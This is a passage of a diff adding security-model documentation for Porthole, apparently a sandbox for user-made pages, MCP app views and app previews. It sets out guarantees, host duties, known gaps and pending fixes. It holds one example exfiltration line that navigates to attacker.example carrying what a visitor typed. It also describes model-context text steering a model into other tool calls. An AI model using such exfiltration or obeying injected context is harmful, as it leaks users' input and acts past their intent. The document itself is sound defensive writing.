350
|
+
- `authorize` is the host's takedown switch.
|
|
351
|
+
- A page opened in a tab of its own has its frame's powers and no more (P099): its CSP header
|
|
352
|
+
carries the frame's sandbox (scripts on its own origin; no popups, forms, downloads, browser
|
|
353
|
+
dialogs, or navigation of another window, its opener's included), and its `Permissions-Policy`
|
|
354
|
+
header denies what the frame's `allow` doesn't grant (camera, microphone, location, full
|
|
355
|
+
screen, passkeys, payments, sharing, the built-in AI models, and every other feature a frame
|
|
356
|
+
lacks by default). The shell adds its own walls there, the only ones on engines that don't apply
|
|
357
|
+
that header (WebKit, Firefox): `window.open` answers null; picture-in-picture windows, devices,
|
|
358
|
+
location, full screen, passkeys, the share sheet and payments (Apple Pay too) are refused at
|
|
359
|
+
once; and its navigation guard stops the page navigating itself away, by `location` (set,
|
|
360
|
+
`assign`, `replace`), a link, `navigation.navigate()` or `open(…, "_self")`. The last three ask
|
|
361
|
+
the guard's rule before they start (WebKit sends a link's and `navigate()`'s request otherwise),
|
|
362
|
+
read the address once, and read it through the platform's own functions, so a page can't
|
|
363
|
+
hand them one address to check and another to go to; a link, in a shadow root too, is followed
|
|
364
|
+
by the shell as it was when clicked, never by the browser as a later listener left it.
|
|
365
|
+
`defineHostConformance`'s `served.domain.tab-*` cases check it through the host's real edge.
|
|
366
|
+
|
|
367
|
+
**The host must**
|
|
368
|
+
|
|
369
|
+
- Add what Porthole doesn't have: a notice that the page is user-made (an interstitial), a way to
|
|
370
|
+
report it, and a takedown process.
|
|
371
|
+
- Keep public grants at `view` or without a level. Porthole sets no ceiling: a public grant may
|
|
372
|
+
carry any level, up to `owner`, and a `user`, and then the page has a viewer at that level.
|
|
373
|
+
- On pages shared with signed-in people, not offer `db` writes and `user`, or gate them with
|
|
374
|
+
`consent` or `confirm` (their defaults are rates only: 600 and 60 a minute).
|
|
375
|
+
- Rate-limit the issue endpoint (`rateLimit`: optional, per process). An anonymous request is
|
|
376
|
+
keyed by an address the client can't set (P092): the socket's peer through Porthole's Node
|
|
377
|
+
adapter, `CF-Connecting-IP` on Workers. Anywhere else, or behind proxies, every anonymous request
|
|
378
|
+
shares one limit unless you set `rateLimit.trustedProxies` (how many proxies append to
|
|
379
|
+
`X-Forwarded-For`; only where the app is reachable through those proxies alone) or
|
|
380
|
+
`rateLimit.key`.
|
|
381
|
+
- Check pages for secrets before publishing them: `lintContent` has no rule for credentials.
|
|
382
|
+
- Pass Porthole's `Content-Security-Policy` and `Permissions-Policy` headers on as they are,
|
|
383
|
+
through any edge or proxy: on a tab they are the page's sandbox.
|
|
384
|
+
|
|
385
|
+
**Not guaranteed**
|
|
386
|
+
|
|
387
|
+
- In a browser without the Navigation API (older Safari and Firefox releases), a page opened in
|
|
388
|
+
a tab can navigate itself away with data in the address (`location = "https://attacker.example/?"
|
|
389
|
+
+ whatTheVisitorTyped`): the shell's guard gets no events there, and a tab has no embedding page
|
|
390
|
+
whose `frame-src` would stop it. It can also go to a `blob:` document it wrote itself, where
|
|
391
|
+
the shell never runs: the CSP and its sandbox carry over, the `Permissions-Policy` header and
|
|
392
|
+
the shell's walls don't (WebRTC is there, and a granted location). No CSP directive closes
|
|
393
|
+
either (P099, accepted). A host that must cover such browsers shows public pages in its own
|
|
394
|
+
frame.
|
|
395
|
+
- `db` and `user` reach the author without any network: what viewers write, and `user.get()`'s
|
|
396
|
+
`{ id, name, level }`, the page can read and keep in `db`. Closed egress doesn't cover a channel
|
|
397
|
+
the host itself provides. Give `id` a per-artifact pseudonym (`pseudonymFor`), and decide what
|
|
398
|
+
`name` says.
|
|
399
|
+
- Phishing ([§5](#5-out-of-scope)).
|
|
400
|
+
|
|
401
|
+
### S5. Third-party MCP Apps
|
|
402
|
+
|
|
403
|
+
`presets.mcpApp` through `/mcp`: a view from an MCP server the host doesn't control (b).
|
|
404
|
+
|
|
405
|
+
**Porthole guarantees**
|
|
406
|
+
|
|
407
|
+
- Porthole implements the host side itself, with one hardened frame: by default an opaque frame
|
|
408
|
+
with the shell's defenses first in the view's document; with `isolation: "domain"`, behind the
|
|
409
|
+
sandbox proxy on a content origin.
|
|
410
|
+
- The view's declared CSP becomes its egress: `connectDomains` to `connect-src`, `resourceDomains`
|
|
411
|
+
to scripts, styles, images, fonts and media. Only exact origins (https or wss; http and ws on
|
|
412
|
+
loopback only) and `*.` wildcards over a domain are taken; a wildcard over a single label or a
|
|
413
|
+
public suffix Porthole knows, and anything else, is dropped. `frameDomains` and `baseUriDomains`
|
|
414
|
+
are ignored. Served, the proxy's CSP comes from what the session carries, signed, never from a
|
|
415
|
+
message.
|
|
416
|
+
- The default gates are stricter than the spec's "MAY": `callTool` needs a confirmation and has a
|
|
417
|
+
rate (30 a minute), `sendPrompt` and `openLink` a gesture and a confirmation. For a view, the
|
|
418
|
+
gesture check is the host's (the shell doesn't speak for an MCP view).
|
|
419
|
+
|
|
420
|
+
**The host must**
|
|
421
|
+
|
|
422
|
+
- Send the page's `frame-src`, as for every display.
|
|
423
|
+
- Show the person the domains a view declares before mounting it (`readViewResource(…).egress`
|
|
424
|
+
and `viewEgress()` give them; the spec says hosts SHOULD warn). Porthole has no prompt for it.
|
|
425
|
+
- Route `callTool` only to the view's own server, and refuse the tools the view may not call
|
|
426
|
+
(`_meta.ui.visibility`): that is the host's `callTool` handler's decision alone.
|
|
427
|
+
- Keep `setModelContext`'s `show` gate. The React provider shows each update whole outside every
|
|
428
|
+
frame (`ContextNotice`); a host's own `show` must show it whole too. Opt out
|
|
429
|
+
(`withoutShow: true`) only where the handler itself puts the text in front of the person, or the
|
|
430
|
+
content is the host's own (P100).
|
|
431
|
+
- Keep `callTool`'s confirmation. If the host's confirm says yes by itself and a view polls a tool
|
|
432
|
+
more often than every 2 s, give `callTool` its own `gates` with a rate: they replace the default.
|
|
433
|
+
|
|
434
|
+
**Not guaranteed**
|
|
435
|
+
|
|
436
|
+
- Declaring is allowing: what the person sees or types in the view may go to its
|
|
437
|
+
`connectDomains`.
|
|
438
|
+
- Code from `resourceDomains` runs in the frame (still isolated).
|
|
439
|
+
- Model context (`ui/update-model-context`) is shown before it goes, but showing isn't reading:
|
|
440
|
+
text the person let pass can still steer the model into calling other tools, which the gates on
|
|
441
|
+
the view's own calls don't catch. The manual's words (the content's unconfirmed text, never
|
|
442
|
+
instructions) are the second wall (P100, accepted).
|
|
443
|
+
- The public suffixes Porthole refuses wildcards over are its own short list, not the whole PSL.
|
|
444
|
+
|
|
445
|
+
### S6. Previews of a running app
|
|
446
|
+
|
|
447
|
+
`presets.url`: a running app (a dev server's preview) framed by its URL (d).
|
|
448
|
+
|
|
449
|
+
**Porthole guarantees**
|
|
450
|
+
|
|
451
|
+
- Isolation: the app runs on a content origin, never the host's, in a frame with
|
|
452
|
+
`sandbox="allow-scripts allow-same-origin allow-forms"`. A host may add popups (and popups that
|
|
453
|
+
escape the sandbox), modals and downloads; top navigation never.
|
|
454
|
+
- Access: the same ticket and cookie as served pages. The upstream origin is fixed in the signed
|
|
455
|
+
session; the viewer can't change it.
|
|
456
|
+
- Porthole's own cookies are removed before a request reaches the host's `upstream` (HTTP), and
|
|
457
|
+
before the Node adapter hands a WebSocket to the host's `appSocket`.
|
|
458
|
+
- The app's cookie opens it only for its own origin (`Origin`, or `Sec-Fetch-Site` `same-origin`
|
|
459
|
+
or `none`) and for a navigation that opens it (GET or HEAD); anything else another origin sends
|
|
460
|
+
is a 403 before the upstream. A WebSocket opens from its own origin only: `content.access`, which
|
|
461
|
+
the Node adapter asks before `appSocket` and a Worker asks on its own upgrade path (P101).
|
|
462
|
+
- `proxyTo`, Porthole's HTTP relay (pass it as `upstream`), also rewrites the headers:
|
|
463
|
+
- requests go with `redirect: "manual"`;
|
|
464
|
+
- `Host`, hop-by-hop headers, `X-Forwarded-*`, `Forwarded` and `X-Real-IP` are dropped;
|
|
465
|
+
- an `Origin` or `Referer` naming the content origin is rewritten to the app's; any other goes
|
|
466
|
+
as sent, so an app that checks `Origin` sees a foreign one.
|
|
467
|
+
|
|
468
|
+
**The host must**
|
|
469
|
+
|
|
470
|
+
- Preview only code it trusts: the app gets no shell and no egress control (P020).
|
|
471
|
+
- Refuse, in its `instance` callback, upstream addresses it doesn't mean (loopback, private
|
|
472
|
+
networks): Porthole takes any http(s) URL, and the client's proposal is untrusted (SSRF).
|
|
473
|
+
- In a relay of its own, rewrite the headers as `proxyTo` does
|
|
474
|
+
(`upstreamHeaders.request(headers, { origin, target })`). A WebSocket relay that takes the
|
|
475
|
+
access from `content.access(request)` gets the browser's whole `Cookie` header, Porthole's
|
|
476
|
+
cookies included: send the app the headers `upstreamHeaders.request(…, { websocket: true })`
|
|
477
|
+
makes (Porthole's cookies removed, the upgrade's own headers kept).
|
|
478
|
+
- Keep previews off pages with displays that read data (S7).
|
|
479
|
+
|
|
480
|
+
**Not guaranteed**
|
|
481
|
+
|
|
482
|
+
- The app's network is its own.
|
|
483
|
+
- A page on another origin can still open the app by a navigation (a link, a frame of its own),
|
|
484
|
+
which reaches the app's GET routes as any link does.
|
|
485
|
+
- A request with neither `Origin` nor `Sec-Fetch-Site` goes on: in browsers without fetch
|
|
486
|
+
metadata (Safari before 16.4, older Chromium and Firefox) a sibling's GET subresource carries
|
|
487
|
+
the app's cookie (GET CSRF, script-shaped responses); POSTs are still refused, by `Origin`. The
|
|
488
|
+
app's own script can set a non-`HttpOnly` `__Host-porthole-<key>` where none exists: fixation
|
|
489
|
+
with a session it holds (P101).
|
|
490
|
+
- Through `proxyTo`, `True-Client-IP` and `CF-Connecting-IP` reach the app as the client sent
|
|
491
|
+
them.
|
|
492
|
+
- The app is a sibling of every other content origin, with no CSP of Porthole's beyond
|
|
493
|
+
`frame-ancestors`: S3's cookie problems are easier from here.
|
|
494
|
+
|
|
495
|
+
### S7. Several displays on one page
|
|
496
|
+
|
|
497
|
+
**The rule: a page's egress is the union of its frames' egress.** Any frame can `postMessage`
|
|
498
|
+
any other frame on its page, and nothing inside a frame can stop it. So what one display was given
|
|
499
|
+
can be handed to the display with the widest network.
|
|
500
|
+
|
|
501
|
+
| Beside a display that reads the host's data or holds what the person types | |
|
|
502
|
+
| --- | --- |
|
|
503
|
+
| Closed egress, or Porthole's libraries | Fine. |
|
|
504
|
+
| `LIBRARY_CDNS` | Fine for ordinary data. Every request path to its nine origins is a narrow channel read by their operators: not for highly sensitive data. |
|
|
505
|
+
| An MCP view with `connectDomains` | Its domains become the page's. |
|
|
506
|
+
| `anyHttps` | No: any image URL is a way out. |
|
|
507
|
+
| url mode | No: the app's network is its own. |
|
|
508
|
+
|
|
509
|
+
- Porthole doesn't enforce this: `defineDisplays` takes any kinds together, and
|
|
510
|
+
`frameSources` is the union of all of theirs. Group displays by page yourself.
|
|
511
|
+
- An opaque frame also inherits the page's own CSP, so a strict page narrows its opaque frames
|
|
512
|
+
further (P058). A served frame has only its own policy.
|
|
513
|
+
|
|
514
|
+
## 7. The display layer and the app runtime
|
|
515
|
+
|
|
516
|
+
### The display layer
|
|
517
|
+
|
|
518
|
+
What it is: the presets, the isolation, the egress walls, the shell, the bridge for the display's
|
|
519
|
+
host functions (`sendPrompt`, `openLink`, `downloadFile`, `copyText`, `callTool`, `readData`,
|
|
520
|
+
`subscribeData`, `setModelContext`, `reportError`, annotations) and the generated manual.
|
|
521
|
+
|
|
522
|
+
**Porthole guarantees** the two lines of [§4](#4-two-lines-of-defense) for each display except url
|
|
523
|
+
mode (S6), with S1–S5's open items: isolation, closed egress, the gates. One config generates the
|
|
524
|
+
CSP, the sandbox, the shell's wiring and the manual, and a test holds them in agreement
|
|
525
|
+
(`test/agreement.test.ts`), so the agent is told what the sandbox allows. The leak suite tests each
|
|
526
|
+
wall on three engines, and `defineHostConformance` runs it against a host's own page.
|
|
527
|
+
|
|
528
|
+
**The host must** do what [every host](#what-every-host-must-do) does, write the handlers (their
|
|
529
|
+
effects are its own), and group displays by page (S7).
|
|
530
|
+
|
|
531
|
+
**Annotations** (`annotate`, P053, P104). The shell that draws marks and reports anchors shares
|
|
532
|
+
its realm with the content, so:
|
|
533
|
+
|
|
534
|
+
- *What content learns.* Everything the host sends in a `show` is posted into the frame's window,
|
|
535
|
+
where the content can listen: each mark's id, anchor and, where given, `count` (the number on
|
|
536
|
+
its marker). A host gives ids that say nothing (never a person's name or a comment's words), and
|
|
537
|
+
a count only where the page may know how many there are. Who commented and what they wrote stay
|
|
538
|
+
in the host's own UI, outside the frame.
|
|
539
|
+
- *What content can fake.* Any report: a selection while the host asks for one, where marks are,
|
|
540
|
+
and a marker's click (`activated`) for any mark the host shows with a count, with no click and
|
|
541
|
+
any box. It can draw look-alike markers, or lay its own elements over Porthole's. The host takes
|
|
542
|
+
each report only for what it asked for and its own shown ids, rebuilt within
|
|
543
|
+
`ANNOTATION_LIMITS`, at 120 a minute; `activated` for a mark without a marker, or an id it
|
|
544
|
+
doesn't show, is dropped (negative control `annotation-activated`).
|
|
545
|
+
- *Boxes.* Every box a report carries (`selected`, `activated`, `anchored`) is the page's word.
|
|
546
|
+
Porthole clamps each to the frame's viewport as it is when the report arrives, before the host
|
|
547
|
+
hears it: the part inside is kept, and a box wholly outside becomes one of no size on the
|
|
548
|
+
nearest edge (control `annotation-rect-clamp`). So a page can't make the host place its own UI
|
|
549
|
+
over the rest of the app. It still chooses any point inside its own frame: a box is a
|
|
550
|
+
positioning hint, never a fact about the content.
|
|
551
|
+
- *What holds.* A real press or click on a marker reaches none of the content's handlers (the
|
|
552
|
+
shell's first listener stops it; control `marker-click`), so content can't act on it or cancel
|
|
553
|
+
it. But content can tell that a marker was pressed, and roughly where: the pointer leaving its
|
|
554
|
+
own element names the layer, the layer matches `:hover` and `:active`, and the frame gets user
|
|
555
|
+
activation.
|
|
556
|
+
- *What doesn't.* Content can't read or reach inside the shell's layer (a closed shadow root),
|
|
557
|
+
but it can hide, shrink, move or cover it (its scripts can rewrite the layer's style, lay
|
|
558
|
+
elements over it, or transform the page it sits in), change its words so a mark is orphaned, or
|
|
559
|
+
flood the shared rate so real reports are refused. An honest page's follow-up reports (after a
|
|
560
|
+
scroll) are at most one a second, and only while a mark has a marker.
|
|
561
|
+
- So `activated` opens the host's own view of a mark it already shows, placed within the frame's
|
|
562
|
+
box, and never acts on it (no resolve, delete or reply); an anchor or a rect decides where
|
|
563
|
+
something is drawn, never who may see or do anything.
|
|
564
|
+
|
|
565
|
+
### The app runtime
|
|
566
|
+
|
|
567
|
+
What it is: `config.runtime: "1"`, for inline widgets and artifact pages. A page reaches the
|
|
568
|
+
host's services through `porthole.use(name)`. Without it there is no `porthole` global, and the
|
|
569
|
+
config can't name the runtime's own host functions. A host that only shows content can skip this
|
|
570
|
+
section.
|
|
571
|
+
|
|
572
|
+
**Porthole guarantees**, in the bridge, before any handler runs:
|
|
573
|
+
|
|
574
|
+
- A page reaches the built-ins its kind offers (`clipboard`, `links`, `downloads`, `comments`) and
|
|
575
|
+
what it declared when published; anything else is refused (`undeclared`). The names it declares
|
|
576
|
+
in `data` hold with a viewer and without one (P094). A page from before 0.7 (the
|
|
577
|
+
host's `null` declaration) keeps 0.6's surface and gets none of `user`, `artifact`, `assets` and
|
|
578
|
+
`db`.
|
|
579
|
+
- Each method has a least level (`view < interact < admin < owner`), held against the viewer's
|
|
580
|
+
level from the host's `access`. A display without a viewer gets nothing above `view` and none of
|
|
581
|
+
the runtime's own host functions.
|
|
582
|
+
- A version mounted with `intersectDeclarations(version's, current)` gets only what both
|
|
583
|
+
declarations allow (P093).
|
|
584
|
+
- `db`: another person's `data/users/<id>` is refused at every level; `me` is the host's id for
|
|
585
|
+
the viewer, and paths in answers say `data/users/me`, never that id.
|
|
586
|
+
- What changes the artifact for everyone needs, by default, a gesture and a confirmation:
|
|
587
|
+
`artifact.publish` and `assets.delete` (a host's `methodGates` for them replace these).
|
|
588
|
+
- A `db.batch` runs under the gates of each of its writes, and a `db.watch` under those of `get`
|
|
589
|
+
or `query`, as well as their own; a batch that needs a confirmation is confirmed once, whole
|
|
590
|
+
(P094).
|
|
591
|
+
- Except in **bearer mode** (`AssetStore.bearer`, an opt-in that serves an asset to anyone with
|
|
592
|
+
its id), assets are served only to an access for their own artifact, after the host's check. A
|
|
593
|
+
code-typed asset runs as code only when an admin uploaded it where uploaded code may run, and
|
|
594
|
+
only while the config still lets uploaded code run, asked at every load, in bearer mode too
|
|
595
|
+
(where every artifact config must; P103); anything else is a download.
|
|
596
|
+
- `comments` is write-only: the page learns only whether the composer opened.
|
|
597
|
+
- `defineRuntimeConformance` checks the host's handlers, and with `api` its own API for `db`,
|
|
598
|
+
`artifact` and `assets`, with a forged context (a viewer claiming to be the owner, no rules).
|
|
599
|
+
|
|
600
|
+
**The host must**
|
|
601
|
+
|
|
602
|
+
- Treat its API as the wall: check each call again from its own session and its own stored
|
|
603
|
+
declaration, never from `context.viewer` or `context.declared`.
|
|
604
|
+
- Run `defineRuntimeConformance` with `api` in CI, against its real API.
|
|
605
|
+
- Say each viewer's level in `access`, and keep public grants low (S4).
|
|
606
|
+
- Store a declaration per version, and mount a version with
|
|
607
|
+
`intersectDeclarations(version's, current)`.
|
|
608
|
+
- Revoke with its per-request check (`authorize`) and `content.forget(…)`.
|
|
609
|
+
- Keep each person's data apart in its own stores, and refuse moved bases and versions
|
|
610
|
+
(`Refused("conflict")`).
|
|
611
|
+
- Handle abuse on shared pages (S4).
|
|
612
|
+
|
|
613
|
+
**Not guaranteed**
|
|
614
|
+
|
|
615
|
+
- Closed egress covers the network, not the host's services: what a page learns from `user`, or
|
|
616
|
+
what a viewer types into it, it can store in `db`, where its author (and other viewers, as the
|
|
617
|
+
page's rules allow) can read it.
|
|
618
|
+
- `db` rewrites only paths: an id the page stores inside a document's data is returned as stored.
|
|
619
|
+
- In bearer mode, assets are served by id alone, without the host's check.
|
|
620
|
+
|
|
621
|
+
## 8. Fixes in flight
|
|
622
|
+
|
|
623
|
+
The decisions below come from the 2026-10-19 review. "Planned" means not in 0.9.0: the gap its
|
|
624
|
+
row names exists today, and the sections it cites say "open until" that decision. Each merged row
|
|
625
|
+
says what was wrong, what holds now, and the limit its decision accepts, if any.
|
|
626
|
+
|
|
627
|
+
| Decision | State | What it closes | Sections |
|
|
628
|
+
| --- | --- | --- | --- |
|
|
629
|
+
| P092 | Merged | A request with a method `fetch` refuses (`TRACE`) could end a Node process through the Node adapter; the issue endpoint read a JSON body without a byte limit; its rate limit keyed anonymous requests on headers a client sets. Now no request ends the process, a body is read to 64 KiB at most, and the key is an address the client can't set. | §5, S4 |
|
|
630
|
+
| P093 | Merged | `intersectDeclarations` compared rules name by name, so a current wildcard didn't narrow a version's named rule, and a collection named `__proto__` was lost. Now the result allows exactly what both sides allow. | §7 |
|
|
631
|
+
| P094 | Merged | Without a viewer, a page's declared `data` names weren't held; a pushed result answered a read past `readData`'s gates; `db.batch` and `db.watch` skipped their inner methods' `methodGates`. Now each holds. | §4, S2, S4, §7 |
|
|
632
|
+
| P095 | Merged | What content sent was read before its gate: a log or error report was serialized whole first; waiting confirmations had no cap. Now the bridge reads it after the gate into bounded text, nothing a page sends throws out of an adapter, and at most 10 confirmations wait per display. | §5, S1, S5 |
|
|
633
|
+
| P096 | Planned | The negative-control runner counts a control that didn't run as passed, and CI runs the runtime's controls only. | §4 |
|
|
634
|
+
| P097 | Merged | A release waits for the same commit's CI. No guarantee here depends on it. | |
|
|
635
|
+
| P098 | Merged | A set's page whose notice came late was taken for a navigation away (red on Chromium since 0.6.0), and tests that waited a fixed time. Accepted: a files display may hold a frame that did navigate away for up to 2 s before starting it again, delivering nothing while it waits. | S1 |
|
|
636
|
+
| P099 | Merged | A served page in a tab had no sandbox: `window.open` sent input out, it could navigate its opener, open a picture-in-picture window, and ask for the camera, location or full screen. Now its headers carry its frame's sandbox and deny what its frame's `allow` doesn't grant, and the shell closes those on a tab too; the served suite probes self-navigation in frames and tabs. A browser without the Navigation API is an accepted limit. | S4 |
|
|
637
|
+
| P100 | Merged | `setModelContext` was rate-limited only, unseen by the person. Now it needs the host's `show` by default. Accepted: shown isn't read, and characters that draw as blanks pass, bounded by the length. | S1, S5 |
|
|
638
|
+
| P101 | Merged | Under https Porthole read unprefixed `porthole-*` cookies a sibling label can plant; the entered mark carried no label; url mode checked neither `Origin` nor `Sec-Fetch-Site`. Now only `__Host-` names are read, the mark names its label, and a url-mode app answers its own origin and navigations. | S3, S6 |
|
|
639
|
+
| P102 | Merged | This document. | |
|
|
640
|
+
| P103 | Merged | A live widget's capabilities could add origins; bearer-mode assets skipped the code re-check; `callTool` had no rate. Now the preset refuses them and its config is frozen, every load asks the current config (its ETag says which answer), and `callTool` has 30 a minute. | S2, S5, §7 |
|
|
641
|
+
|
|
642
|
+
Open with no decision yet; until then they are the host's to cover:
|
|
643
|
+
|
|
644
|
+
- a check, at mount or in development, that the page sends its `frame-src` (S1: run
|
|
645
|
+
`defineHostConformance`);
|
|
646
|
+
- a check of which displays share a page (S7: group them yourself);
|
|
647
|
+
- an interstitial, report and takedown hooks for public pages, and a `lintContent` rule for
|
|
648
|
+
secrets (S4);
|
|
649
|
+
- refusing weak or example secrets, and a health answer that isn't derived from the secret (S3);
|
|
650
|
+
- dropping `True-Client-IP` and `CF-Connecting-IP`, and an SSRF example for `instance` (S6);
|
|
651
|
+
- a warning when the content domain isn't on the PSL (S3);
|
|
652
|
+
- a watchdog that unloads a frame that stops answering ([§5](#5-out-of-scope)).
|